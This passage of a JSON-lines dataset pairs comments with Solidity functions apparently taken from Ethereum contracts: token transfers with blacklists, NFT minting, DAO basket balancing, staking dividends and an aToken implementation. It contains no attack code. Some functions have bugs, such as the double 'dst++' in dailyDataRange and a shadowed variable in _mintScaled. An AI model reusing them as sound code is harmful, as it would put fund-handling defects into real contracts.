whenNotPaused limitGasPrice returns (bool)\r\n {\r\n require(!transferBlacklisted[msg.sender], \"sender is not blacklisted\");\r\n require(!transferBlacklisted[_from], \"from address is not blacklisted\");\r\n require(!transferBlacklisted[_to], \"to address is not blacklisted\");\r\n require(!blockOtherAccounts ||\r\n (getAccountClassification(_from) != AccountClassification.Other &&\r\n getAccountClassification(_to) != AccountClassification.Other),\r\n \"addresses are not blocked\");\r\n\r\n emit TransferExtd(\r\n _from,\r\n getAccountClassification(_from),\r\n _to,\r\n getAccountClassification(_to),\r\n _value\r\n );\r\n\r\n updateBalanceAndScaling(_from);\r\n\r\n if (_to == address(0)) {\r\n // burn tokens\r\n super.transferFrom(_from, msg.sender, _value);\r\n super.burn(_value);\r\n return true;\r\n }\r\n\r\n updateBalanceAndScaling(_to);\r\n\r\n require(super.transferFrom(_from, _to, _value), \"transfer succeeds\");\r\n\r\n if (!avoidsFees[msg.sender] && !avoidsFees[_from] && !avoidsFees[_to]) {\r\n computeAndBurnFee(_to, _value);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Function for TAPs to mint tokens\r\n * @param _to The address that will receive the minted tokens.\r\n * @param _amount The amount of tokens to mint.\r\n * @return true in case of success\r\n */", "function_code": "function mint(address _to, uint _amount) public returns(bool) {\r\n require(!transferBlacklisted[_to], \"to address is not blacklisted\");\r\n require(!blockOtherAccounts || getAccountClassification(_to) != AccountClassification.Other,\r\n \"to address is not blocked\");\r\n updateBalanceAndScaling(_to);\r\n emit TransferExtd(\r\n address(0),\r\n AccountClassification.Zero,\r\n _to,\r\n getAccountClassification(_to),\r\n _amount\r\n );\r\n return super.mint(_to, _amount);\r\n }", "version": "0.4.25"} {"comment": "// get AccountClassification of an account", "function_code": "function getAccountClassification(\r\n address account\r\n )\r\n internal view returns(AccountClassification)\r\n {\r\n if (account == address(0)) {\r\n return AccountClassification.Zero;\r\n } else if (account == owner) {\r\n return AccountClassification.Owner;\r\n } else if (account == superowner) {\r\n return AccountClassification.Superowner;\r\n } else if (TAPwhiteListed[account]) {\r\n return AccountClassification.TAP;\r\n } else {\r\n return AccountClassification.Other;\r\n }\r\n }", "version": "0.4.25"} {"comment": "// update balance and scaleFactor", "function_code": "function updateBalanceAndScaling(address account) internal {\r\n uint oldBalance = balances[account];\r\n uint newBalance = balanceOf(account);\r\n if (lastScalingFactor[account] != scaleFactor) {\r\n lastScalingFactor[account] = scaleFactor;\r\n }\r\n if (oldBalance != newBalance) {\r\n balances[account] = newBalance;\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Imported from: https://github.com/alianse777/solidity-standard-library/blob/master/Math.sol\r\n * @dev Compute square root of x\r\n * @return sqrt(x)\r\n */", "function_code": "function sqrt(uint256 x) internal pure returns (uint256) {\r\n uint256 n = x / 2;\r\n uint256 lstX = 0;\r\n while (n != lstX){\r\n lstX = n;\r\n n = (n + x/n) / 2; \r\n }\r\n return uint256(n);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * Function for the frontend to dynamically retrieve the price scaling of buy orders.\r\n */", "function_code": "function calculateTokensReceived(uint256 _ethereumToSpend) \r\n public \r\n view \r\n returns(uint256)\r\n {\r\n uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100);\r\n uint256 _jackpotPay = SafeMath.div(SafeMath.mul(_ethereumToSpend, jackpotFee_), 100);\r\n uint256 _devPay = SafeMath.div(SafeMath.mul(_ethereumToSpend, greedFee_), 100);\r\n uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _jackpotPay), _devPay);\r\n uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);\r\n \r\n return _amountOfTokens;\r\n }", "version": "0.4.24"} {"comment": "// functions (UI)", "function_code": "function createDsellerOffer(uint256 _maxAmountStock, uint256 _minAmountStock,\r\n string memory _ticker, bytes32 _tickerBytes,\r\n uint256 _fundsSeller, uint256 _dsellerPercentage,\r\n uint8[17] memory _afkHours, uint256 _durationCap) public\r\n {\r\n trades.push(Trade(_ticker, 0, address(0x0), msg.sender, 0, 0, false, 0));\r\n tradesMeta.push(TradeMeta(0,0, _durationCap, 0));\r\n afkHours.push(_afkHours);\r\n trades_ticker.push(_tickerBytes);\r\n trades_maxAmountStock.push(_maxAmountStock);\r\n trades_minAmountStock.push(_minAmountStock);\r\n trades_dsellerPercentage.push(_dsellerPercentage);\r\n //\r\n trades_isActive.push(false);\r\n trades_isCancelled.push(false);\r\n //\r\n addressTrades[msg.sender].push(trades.length-1);\r\n //excess should be withdrawable\r\n ERC20Token DAI = ERC20Token(DAI_token);\r\n DAI.transferFrom(msg.sender, address(this), _fundsSeller);\r\n trades_fundsSeller.push(_fundsSeller);\r\n emit OfferCreated(_ticker, _maxAmountStock, _minAmountStock, _dsellerPercentage, msg.sender);\r\n }", "version": "0.6.10"} {"comment": "//This is where all your gas goes, sorry\n//Not sorry, you probably only paid 1 gwei", "function_code": "function sqrt(uint x) internal pure returns (uint y) {\r\n uint z = (x + 1) / 2;\r\n y = x;\r\n while (z < y) {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice This method can be used by the controller to extract mistakenly\n/// sent tokens to this contract.\n/// @param _token The address of the token contract that you want to recover\n/// set to 0 in case you want to extract ether.", "function_code": "function _claimStdTokens(address _token, address payable to) internal {\r\n if (_token == address(0x0)) {\r\n to.transfer(address(this).balance);\r\n return;\r\n }\r\n TransferableToken token = TransferableToken(_token);\r\n uint balance = token.balanceOf(address(this));\r\n\r\n (bool status,) = _token.call(abi.encodeWithSignature(\"transfer(address,uint256)\", to, balance));\r\n require(status, \"call failed\");\r\n emit ClaimedTokens(_token, to, balance);\r\n }", "version": "0.5.10"} {"comment": "// Mint special ones", "function_code": "function mintSpecial(address to, uint id) external {\r\n require(msg.sender == owner);\r\n require( id == 11 || id == 14 || id == 30 || id == 2021 || id == 69 || id == 1907 || id == 1947 || id == 1966 || id == 1976 || id == 4283 || id == 8146 || id == 8219); \r\n _mint(to, id);\r\n totalSupply++;\r\n }", "version": "0.8.1"} {"comment": "//User/Customer Mint", "function_code": "function mintHotCactusClub(uint numberOfTokens) public payable {\r\n \r\n require(numberOfTokens > 0 && numberOfTokens <= maxHotCactusClubPurchase, \"Can only mint 20 tokens at a time\");\r\n require(totalSupply + numberOfTokens <= MAX_HCC, \"Purchase would exceed max supply of Cactus\");\r\n require(msg.value >= HotCactusClubPrice * numberOfTokens, \"Ether value sent is not correct\");\r\n \r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n if (totalSupply < MAX_HCC) {\r\n //if to avoid the special numbers\r\n if ( mintIndex == 11 || mintIndex == 14 || mintIndex == 30 || mintIndex == 2021 || mintIndex == 69 || mintIndex == 1907 || mintIndex == 1947 || mintIndex == 1966 || mintIndex == 1976 || mintIndex == 4283 || mintIndex == 8146 || mintIndex == 8219) {\r\n mintIndex++;\r\n }\r\n _mint(msg.sender, mintIndex);\r\n mintIndex++;\r\n totalSupply++;\r\n }\r\n }\r\n\r\n }", "version": "0.8.1"} {"comment": "/**\n * @dev Multiplies two way, rounding half up to the nearest way\n * @param a Way\n * @param b Way\n * @return The result of a*b, in way\n **/", "function_code": "function wayMul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0 || b == 0) {\n return 0;\n }\n\n require(a <= (type(uint256).max - halfWAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);\n\n return (a * b + halfWAY) / WAY;\n }", "version": "0.6.12"} {"comment": "//------------------------//\n//Reserve some for marketing purpose", "function_code": "function reserveSome(address _to, uint _reserveAmount) external {\r\n require(msg.sender == owner);\r\n require(_reserveAmount > 0 && _reserveAmount <= HotCactusClubReserve, \"Not enough reserve left for team\");\r\n for (uint i = 0; i < _reserveAmount; i++) {\r\n \r\n //if to avoid the special numbers\r\n if ( mintIndex == 11 || mintIndex == 14 || mintIndex == 30 || mintIndex == 2021 || mintIndex == 69 || mintIndex == 1907 || mintIndex == 1947 || mintIndex == 1966 || mintIndex == 1976 || mintIndex == 4283 || mintIndex == 8146 || mintIndex == 8219) {\r\n mintIndex++;\r\n }\r\n _mint(_to, mintIndex);\r\n mintIndex++;\r\n totalSupply++;\r\n }\r\n HotCactusClubReserve = HotCactusClubReserve - _reserveAmount;\r\n }", "version": "0.8.1"} {"comment": "// Counts votes and sets the outcome allocation for each pool,\n// can be called by anyone through DAO after an epoch ends.\n// The new allocation value is the average of the vote outcome and the current value", "function_code": "function updateBasketBalance() public onlyDAO {\n uint128 _epochId = getCurrentEpoch();\n require(lastEpochUpdate < _epochId, \"Epoch is not over\");\n\n for (uint256 i = 0; i < allTokens.length; i++) {\n uint256 _currentValue = continuousVote[allTokens[i]]; // new vote outcome\n uint256 _previousValue = tokenAllocation[allTokens[i]]; // before this vote\n\n // the new current value is the average between the 2 values\n tokenAllocation[allTokens[i]] = (_currentValue.add(_previousValue))\n .div(2);\n\n // update the previous value\n tokenAllocationBefore[allTokens[i]] = _previousValue;\n\n emit UpdateAllocation(\n _epochId,\n allTokens[i],\n tokenAllocation[allTokens[i]]\n );\n }\n\n lastEpochUpdate = _epochId;\n lastEpochEnd = block.timestamp;\n }", "version": "0.7.6"} {"comment": "// adds a token to the baskte balancer\n// this mirrors the tokens in the pool both in allocation and order added\n// every time a token is added to the pool it needs to be added here as well", "function_code": "function addToken(address token, uint256 allocation)\n external\n onlyDAO\n returns (uint256)\n {\n // add token and store allocation\n allTokens.push(token);\n tokenAllocationBefore[token] = allocation;\n tokenAllocation[token] = allocation;\n continuousVote[token] = allocation;\n\n //update total allocation\n fullAllocation = fullAllocation.add(allocation);\n\n emit NewToken(token, allocation);\n\n return allTokens.length;\n }", "version": "0.7.6"} {"comment": "// removes a token from the baskte balancer\n// every time a token is removed to the pool it needs to be removed here as well", "function_code": "function removeToken(address token) external onlyDAO returns (uint256) {\n require(tokenAllocation[token] != 0, \"Token is not part of Basket\");\n\n fullAllocation = fullAllocation.sub(continuousVote[token]);\n\n //remove token from array, moving all others 1 down if necessary\n uint256 index;\n for (uint256 i = 0; i < allTokens.length; i++) {\n if (allTokens[i] == token) {\n index = i;\n break;\n }\n }\n\n for (uint256 i = index; i < allTokens.length - 1; i++) {\n allTokens[i] = allTokens[i + 1];\n }\n allTokens.pop();\n\n // reset allocations\n tokenAllocationBefore[token] = 0;\n tokenAllocation[token] = 0;\n continuousVote[token] = 0;\n\n emit RemoveToken(token);\n\n return allTokens.length;\n }", "version": "0.7.6"} {"comment": "/*\r\n * To create SYN Token and assign to transaction initiator\r\n */", "function_code": "function createTokens(address _beneficiary) internal {\r\n _preValidatePurchase(_beneficiary);\r\n //Calculate SYN Token to send\r\n uint256 totalNumberOfTokenTransferred = _getTokenAmount(msg.value);\r\n //check token to supply is not reaching the token hard cap\r\n assert (tokenSupplied.add(totalNumberOfTokenTransferred) <= TOKEN_CROWDFUNDING);\r\n \r\n //transfer tokens to investor\r\n transferTokens(_beneficiary, totalNumberOfTokenTransferred);\r\n\r\n //initializing structure for the address of the beneficiary\r\n Investor storage _investor = investors[_beneficiary];\r\n //Update investor's balance\r\n _investor.tokenSent = _investor.tokenSent.add(totalNumberOfTokenTransferred);\r\n _investor.weiReceived = _investor.weiReceived.add(msg.value);\r\n weiRaised = weiRaised.add(msg.value);\r\n tokenSupplied = tokenSupplied.add(totalNumberOfTokenTransferred);\r\n wallet.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev PUBLIC FACING: Optionally update daily data for a smaller\r\n * range to reduce gas cost for a subsequent operation\r\n * @param beforeDay Only update days before this day number (optional; 0 for current day)\r\n */", "function_code": "function dailyDataUpdate(uint256 beforeDay)\r\n external\r\n {\r\n GlobalsCache memory g;\r\n GlobalsCache memory gSnapshot;\r\n _globalsLoad(g, gSnapshot);\r\n\r\n /* Skip pre-claim period */\r\n require(g._currentDay > CLAIM_PHASE_START_DAY, \"NUG: Too early\");\r\n\r\n if (beforeDay != 0) {\r\n require(beforeDay <= g._currentDay, \"NUG: beforeDay cannot be in the future\");\r\n\r\n _dailyDataUpdate(g, beforeDay, false);\r\n } else {\r\n /* Default to updating before current day */\r\n _dailyDataUpdate(g, g._currentDay, false);\r\n }\r\n\r\n _globalsSync(g, gSnapshot);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev PUBLIC FACING: External helper to return multiple values of daily data with\r\n * a single call.\r\n * @param beginDay First day of data range\r\n * @param endDay Last day (non-inclusive) of data range\r\n * @return array of day stake shares total\r\n * @return array of day payout total\r\n */", "function_code": "function dailyDataRange(uint256 beginDay, uint256 endDay)\r\n external\r\n view\r\n returns (uint256[] memory _dayStakeSharesTotal, uint256[] memory _dayPayoutTotal, uint256[] memory _dayDividends)\r\n {\r\n require(beginDay < endDay && endDay <= globals.dailyDataCount, \"NUG: range invalid\");\r\n\r\n _dayStakeSharesTotal = new uint256[](endDay - beginDay);\r\n _dayPayoutTotal = new uint256[](endDay - beginDay);\r\n _dayDividends = new uint256[](endDay - beginDay);\r\n\r\n uint256 src = beginDay;\r\n uint256 dst = 0;\r\n do {\r\n _dayStakeSharesTotal[dst] = uint256(dailyData[src].dayStakeSharesTotal);\r\n _dayPayoutTotal[dst++] = uint256(dailyData[src].dayPayoutTotal);\r\n _dayDividends[dst++] = dailyData[src].dayDividends;\r\n } while (++src < endDay);\r\n\r\n return (_dayStakeSharesTotal, _dayPayoutTotal, _dayDividends);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Efficiently delete from an unordered array by moving the last element\r\n * to the \"hole\" and reducing the array length. Can change the order of the list\r\n * and invalidate previously held indexes.\r\n * @notice stakeListRef length and stakeIndex are already ensured valid in stakeEnd()\r\n * @param stakeListRef Reference to stakeLists[stakerAddr] array in storage\r\n * @param stakeIndex Index of the element to delete\r\n */", "function_code": "function _stakeRemove(StakeStore[] storage stakeListRef, uint256 stakeIndex)\r\n internal\r\n {\r\n uint256 lastIndex = stakeListRef.length - 1;\r\n\r\n /* Skip the copy if element to be removed is already the last element */\r\n if (stakeIndex != lastIndex) {\r\n /* Copy last element to the requested element's \"hole\" */\r\n stakeListRef[stakeIndex] = stakeListRef[lastIndex];\r\n }\r\n\r\n /*\r\n Reduce the array length now that the array is contiguous.\r\n Surprisingly, 'pop()' uses less gas than 'stakeListRef.length = lastIndex'\r\n */\r\n stakeListRef.pop();\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Estimate the stake payout for an incomplete day\r\n * @param g Cache of stored globals\r\n * @param stakeSharesParam Param from stake to calculate bonuses for\r\n * @param day Day to calculate bonuses for\r\n * @return Payout in Guns\r\n */", "function_code": "function _estimatePayoutRewardsDay(GlobalsCache memory g, uint256 stakeSharesParam, uint256 day)\r\n internal\r\n view\r\n returns (uint256 payout)\r\n {\r\n /* Prevent updating state for this estimation */\r\n GlobalsCache memory gTmp;\r\n _globalsCacheSnapshot(g, gTmp);\r\n\r\n DailyRoundState memory rs;\r\n rs._allocSupplyCached = totalSupply() + g._lockedGunsTotal;\r\n\r\n _dailyRoundCalc(gTmp, rs, day);\r\n\r\n /* Stake is no longer locked so it must be added to total as if it were */\r\n gTmp._stakeSharesTotal += stakeSharesParam;\r\n\r\n payout = rs._payoutTotal * stakeSharesParam / gTmp._stakeSharesTotal;\r\n\r\n return payout;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev PUBLIC FACING: Open a stake.\r\n * @param newStakedGuns Number of Guns to stake\r\n * @param newStakedDays Number of days to stake\r\n */", "function_code": "function stakeStart(uint256 newStakedGuns, uint256 newStakedDays)\r\n external\r\n {\r\n GlobalsCache memory g;\r\n GlobalsCache memory gSnapshot;\r\n _globalsLoad(g, gSnapshot);\r\n\r\n /* Enforce the minimum stake time */\r\n require(newStakedDays >= MIN_STAKE_DAYS, \"NUG: newStakedDays lower than minimum\");\r\n\r\n /* Check if log data needs to be updated */\r\n _dailyDataUpdateAuto(g);\r\n\r\n _stakeStart(g, newStakedGuns, newStakedDays);\r\n\r\n /* Remove staked Guns from balance of staker */\r\n _burn(msg.sender, newStakedGuns);\r\n\r\n _globalsSync(g, gSnapshot);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Calculates total stake payout including rewards for a multi-day range\r\n * @param g Cache of stored globals\r\n * @param stakeSharesParam Param from stake to calculate bonuses for\r\n * @param beginDay First day to calculate bonuses for\r\n * @param endDay Last day (non-inclusive) of range to calculate bonuses for\r\n * @return Payout in Guns\r\n */", "function_code": "function _calcPayoutRewards(\r\n GlobalsCache memory g,\r\n uint256 stakeSharesParam,\r\n uint256 beginDay,\r\n uint256 endDay\r\n )\r\n private\r\n view\r\n returns (uint256 payout)\r\n {\r\n uint256 counter;\r\n\r\n for (uint256 day = beginDay; day < endDay; day++) {\r\n uint256 dayPayout;\r\n\r\n dayPayout = dailyData[day].dayPayoutTotal * stakeSharesParam\r\n / dailyData[day].dayStakeSharesTotal;\r\n\r\n if (counter < 4) {\r\n counter++;\r\n } \r\n /* Eligible to receive bonus */\r\n else {\r\n dayPayout = (dailyData[day].dayPayoutTotal * stakeSharesParam\r\n / dailyData[day].dayStakeSharesTotal) * BONUS_DAY_SCALE;\r\n counter = 0;\r\n }\r\n\r\n payout += dayPayout;\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Calculates user dividends\r\n * @param g Cache of stored globals\r\n * @param stakeSharesParam Param from stake to calculate bonuses for\r\n * @param beginDay First day to calculate bonuses for\r\n * @param endDay Last day (non-inclusive) of range to calculate bonuses for\r\n * @return Payout in Guns\r\n */", "function_code": "function _calcPayoutDividendsReward(\r\n GlobalsCache memory g,\r\n uint256 stakeSharesParam,\r\n uint256 beginDay,\r\n uint256 endDay\r\n )\r\n private\r\n view\r\n returns (uint256 payout)\r\n {\r\n\r\n for (uint256 day = beginDay; day < endDay; day++) {\r\n uint256 dayPayout;\r\n\r\n /* user's share of 85% of the day's dividends, 15% total will drip to NUI platform */\r\n dayPayout += ((dailyData[day].dayDividends * 85) / 100) * stakeSharesParam\r\n / dailyData[day].dayStakeSharesTotal;\r\n\r\n payout += dayPayout;\r\n }\r\n\r\n return payout;\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev PUBLIC FACING: Enter the auction lobby for the current round\r\n * @param referrerAddr TRX address of referring user (optional; 0x0 for no referrer)\r\n */", "function_code": "function xfLobbyEnter(address referrerAddr)\r\n external\r\n payable\r\n {\r\n uint256 enterDay = _currentDay();\r\n\r\n uint256 rawAmount = msg.value;\r\n require(rawAmount != 0, \"NUG: Amount required\");\r\n\r\n XfLobbyQueueStore storage qRef = xfLobbyMembers[enterDay][msg.sender];\r\n\r\n uint256 entryIndex = qRef.tailIndex++;\r\n\r\n qRef.entries[entryIndex] = XfLobbyEntryStore(uint96(rawAmount), referrerAddr);\r\n\r\n xfLobby[enterDay] += rawAmount;\r\n\r\n emit XfLobbyEnter(\r\n block.timestamp, \r\n enterDay, \r\n entryIndex, \r\n rawAmount\r\n );\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev PUBLIC FACING: Release 15% for NUI Drip from daily divs\r\n */", "function_code": "function xfFlush()\r\n external\r\n {\r\n GlobalsCache memory g;\r\n GlobalsCache memory gSnapshot;\r\n _globalsLoad(g, gSnapshot);\r\n \r\n require(address(this).balance != 0, \"NUG: No value\");\r\n\r\n require(LAST_FLUSHED_DAY < _currentDay(), \"NUG: Invalid day\");\r\n\r\n _dailyDataUpdateAuto(g);\r\n\r\n NUI_SHARE_ADDR.transfer((dailyData[LAST_FLUSHED_DAY].dayDividends * 15) / 100);\r\n\r\n LAST_FLUSHED_DAY++;\r\n\r\n _globalsSync(g, gSnapshot);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev PUBLIC FACING: Return the lobby days that a user is in with a single call\r\n * @param memberAddr TRX address of the user\r\n * @return Bit vector of lobby day numbers\r\n */", "function_code": "function xfLobbyPendingDays(address memberAddr)\r\n external\r\n view\r\n returns (uint256[XF_LOBBY_DAY_WORDS] memory words)\r\n {\r\n uint256 day = _currentDay() + 1;\r\n\r\n while (day-- != 0) {\r\n if (xfLobbyMembers[day][memberAddr].tailIndex > xfLobbyMembers[day][memberAddr].headIndex) {\r\n words[day >> 8] |= 1 << (day & 255);\r\n }\r\n }\r\n\r\n return words;\r\n }", "version": "0.5.10"} {"comment": "/**\n * @dev Burns aTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying`\n * - Only callable by the LendingPool, as extra state updates there need to be managed\n * @param user The owner of the aTokens, getting them burned\n * @param receiverOfUnderlying The address that will receive the underlying\n * @param amount The amount being burned\n * @param index The new liquidity index of the reserve\n **/", "function_code": "function burn(\n address user,\n address receiverOfUnderlying,\n uint256 amount,\n uint256 index\n ) external override onlyLendingPool {\n uint256 amountScaled = amount.rayDiv(index);\n require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);\n\n ExtData memory e = _fetchExtData();\n _burnScaled(user, amountScaled, e);\n _totalGonsDeposited = _totalGonsDeposited.sub(\n _amplToGons(e.totalAMPLSupply, amountScaled).toInt256Safe()\n );\n\n IERC20(UNDERLYING_ASSET_ADDRESS).safeTransfer(receiverOfUnderlying, amount);\n\n emit Transfer(user, address(0), amount);\n emit Burn(user, receiverOfUnderlying, amount, index);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Mints `amount` aTokens to `user`\n * - Only callable by the LendingPool, as extra state updates there need to be managed\n * @param user The address receiving the minted tokens\n * @param amount The amount of tokens getting minted\n * @param index The new liquidity index of the reserve\n * @return `true` if the the previous balance of the user was 0\n */", "function_code": "function mint(\n address user,\n uint256 amount,\n uint256 index\n ) external override onlyLendingPool returns (bool) {\n uint256 previousBalanceInternal = super.balanceOf(user);\n\n uint256 amountScaled = amount.rayDiv(index);\n require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);\n\n ExtData memory e = _fetchExtData();\n _mintScaled(user, amountScaled, e);\n _totalGonsDeposited = _totalGonsDeposited.add(\n _amplToGons(e.totalAMPLSupply, amountScaled).toInt256Safe()\n );\n\n emit Transfer(address(0), user, amount);\n emit Mint(user, amount, index);\n\n return previousBalanceInternal == 0;\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Mints aTokens to the reserve treasury\n * - Only callable by the LendingPool\n * @param amount The amount of tokens getting minted\n * @param index The new liquidity index of the reserve\n */", "function_code": "function mintToTreasury(uint256 amount, uint256 index) external override onlyLendingPool {\n if (amount == 0) {\n return;\n }\n\n // Compared to the normal mint, we don't check for rounding errors.\n // The amount to mint can easily be very small since it is a fraction of the interest accrued.\n // In that case, the treasury will experience a (very small) loss, but it\n // wont cause potentially valid transactions to fail.\n uint256 amountScaled = amount.rayDiv(index);\n // require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);\n\n ExtData memory e = _fetchExtData();\n _mintScaled(RESERVE_TREASURY_ADDRESS, amountScaled, e);\n _totalGonsDeposited = _totalGonsDeposited.add(\n _amplToGons(e.totalAMPLSupply, amountScaled).toInt256Safe()\n );\n\n emit Transfer(address(0), RESERVE_TREASURY_ADDRESS, amount);\n emit Mint(RESERVE_TREASURY_ADDRESS, amount, index);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Transfers aTokens in the event of a borrow being liquidated, in case the liquidators reclaims the aToken\n * - Only callable by the LendingPool\n * @param from The address getting liquidated, current owner of the aTokens\n * @param to The recipient\n * @param value The amount of tokens getting transferred\n **/", "function_code": "function transferOnLiquidation(\n address from,\n address to,\n uint256 value\n ) external override onlyLendingPool {\n // Being a normal transfer, the Transfer() and BalanceTransfer() are emitted\n // so no need to emit a specific event here\n _transfer(from, to, value, false);\n\n emit Transfer(from, to, value);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev implements the permit function as for\n * https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md\n * @param owner The owner of the funds\n * @param spender The spender\n * @param value The amount\n * @param deadline The deadline timestamp, type(uint256).max for max deadline\n * @param v Signature param\n * @param s Signature param\n * @param r Signature param\n */", "function_code": "function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external {\n require(owner != address(0), 'INVALID_OWNER');\n //solium-disable-next-line\n require(block.timestamp <= deadline, 'INVALID_EXPIRATION');\n uint256 currentValidNonce = _nonces[owner];\n bytes32 digest =\n keccak256(\n abi.encodePacked(\n '\\x19\\x01',\n DOMAIN_SEPARATOR,\n keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, currentValidNonce, deadline))\n )\n );\n require(owner == ecrecover(digest, v, r, s), 'INVALID_SIGNATURE');\n _nonces[owner] = currentValidNonce.add(1);\n _approve(owner, spender, value);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Transfers the aTokens between two users. Validates the transfer\n * (ie checks for valid HF after the transfer) if required\n * @param from The source address\n * @param to The destination address\n * @param amount The amount getting transferred\n * @param validate `true` if the transfer needs to be validated\n **/", "function_code": "function _transfer(\n address from,\n address to,\n uint256 amount,\n bool validate\n ) internal {\n uint256 index = POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS);\n uint256 amountScaled = amount.rayDiv(index);\n\n ExtData memory e = _fetchExtData();\n uint256 totalSupplyInternal = super.totalSupply();\n\n uint256 scaledTotalSupply = _scaledTotalSupply(e, _totalGonsDeposited);\n uint256 fromBalanceScaled = _scaledBalanceOf(super.balanceOf(from), totalSupplyInternal, scaledTotalSupply);\n uint256 toBalanceScaled = _scaledBalanceOf(super.balanceOf(to), totalSupplyInternal, scaledTotalSupply);\n\n uint256 fromBalanceBefore = fromBalanceScaled.rayMul(index);\n uint256 toBalanceBefore = toBalanceScaled.rayMul(index);\n\n _transferScaled(from, to, amountScaled, e);\n\n if (validate) {\n POOL.finalizeTransfer(\n UNDERLYING_ASSET_ADDRESS,\n from,\n to,\n amount,\n fromBalanceBefore,\n toBalanceBefore\n );\n }\n\n emit BalanceTransfer(from, to, amount, index);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev calculates the total supply of the specific aToken\n * since the balance of every single user increases over time, the total supply\n * does that too.\n * @return the current total supply\n **/", "function_code": "function totalSupply() public view override(IncentivizedERC20, IERC20) returns (uint256) {\n uint256 currentSupplyScaled = _scaledTotalSupply(_fetchExtData(), _totalGonsDeposited);\n\n if (currentSupplyScaled == 0) {\n // currentSupplyInternal should also be zero in this case (super.totalSupply())\n return 0;\n }\n\n return currentSupplyScaled.rayMul(POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS));\n }", "version": "0.6.12"} {"comment": "/**\n * @dev transferAmountInternal = (transferAmountScaled * totalSupplyInternal) / scaledTotalSupply\n **/", "function_code": "function _transferScaled(address from, address to, uint256 transferAmountScaled, ExtData memory e) private returns (uint256) {\n uint256 totalSupplyInternal = super.totalSupply();\n uint256 scaledTotalSupply = _scaledTotalSupply(e, _totalGonsDeposited);\n uint256 transferAmountInternal = transferAmountScaled.mul(totalSupplyInternal).div(scaledTotalSupply);\n super._transfer(from, to, transferAmountInternal);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev mintAmountInternal is mint such that the following holds true\n *\n * (userBalanceInternalBefore+mintAmountInternal)/(totalSupplyInternalBefore+mintAmountInternal)\n * = (userBalanceScaledBefore+mintAmountScaled)/(scaledTotalSupplyBefore+mintAmountScaled)\n *\n * scaledTotalSupplyAfter = scaledTotalSupplyBefore+mintAmountScaled\n * userBalanceScaledAfter = userBalanceScaledBefore+mintAmountScaled\n * otherBalanceScaledBefore = scaledTotalSupplyBefore-userBalanceScaledBefore\n *\n * mintAmountInternal = (totalSupplyInternalBefore*userBalanceScaledAfter - scaledTotalSupplyAfter*userBalanceInternalBefore)/otherBalanceScaledBefore\n **/", "function_code": "function _mintScaled(address user, uint256 mintAmountScaled, ExtData memory e) private {\n uint256 totalSupplyInternalBefore = super.totalSupply();\n uint256 userBalanceInternalBefore = super.balanceOf(user);\n\n // First mint\n if(totalSupplyInternalBefore == 0) {\n uint256 mintAmountInternal = _amplToGons(e.totalAMPLSupply, mintAmountScaled);\n _mint(user, mintAmountInternal);\n return;\n }\n\n uint256 scaledTotalSupplyBefore = _scaledTotalSupply(e, _totalGonsDeposited);\n\n uint256 userBalanceScaledBefore = _scaledBalanceOf(userBalanceInternalBefore, totalSupplyInternalBefore, scaledTotalSupplyBefore);\n uint256 otherBalanceScaledBefore = scaledTotalSupplyBefore.sub(userBalanceScaledBefore);\n\n uint256 scaledTotalSupplyAfter = scaledTotalSupplyBefore.add(mintAmountScaled);\n uint256 userBalanceScaledAfter = userBalanceScaledBefore.add(mintAmountScaled);\n uint256 mintAmountInternal = 0;\n\n // Lone user\n if(otherBalanceScaledBefore == 0) {\n uint256 mintAmountInternal = mintAmountScaled.mul(totalSupplyInternalBefore).div(scaledTotalSupplyBefore);\n _mint(user, mintAmountInternal);\n return;\n }\n\n mintAmountInternal = totalSupplyInternalBefore\n .mul(userBalanceScaledAfter)\n .sub(scaledTotalSupplyAfter.mul(userBalanceInternalBefore))\n .div(otherBalanceScaledBefore);\n\n _mint(user, mintAmountInternal);\n }", "version": "0.6.12"} {"comment": "/**\n * @dev burnAmountInternal is burnt such that the following holds true\n *\n * (userBalanceInternalBefore-burnAmountInternal)/(totalSupplyInternalBefore-burnAmountInternal)\n * = (userBalanceScaledBefore-burnAmountScaled)/(scaledTotalSupplyBefore-burnAmountScaled)\n *\n * scaledTotalSupplyAfter = scaledTotalSupplyBefore-burnAmountScaled\n * userBalanceScaledAfter 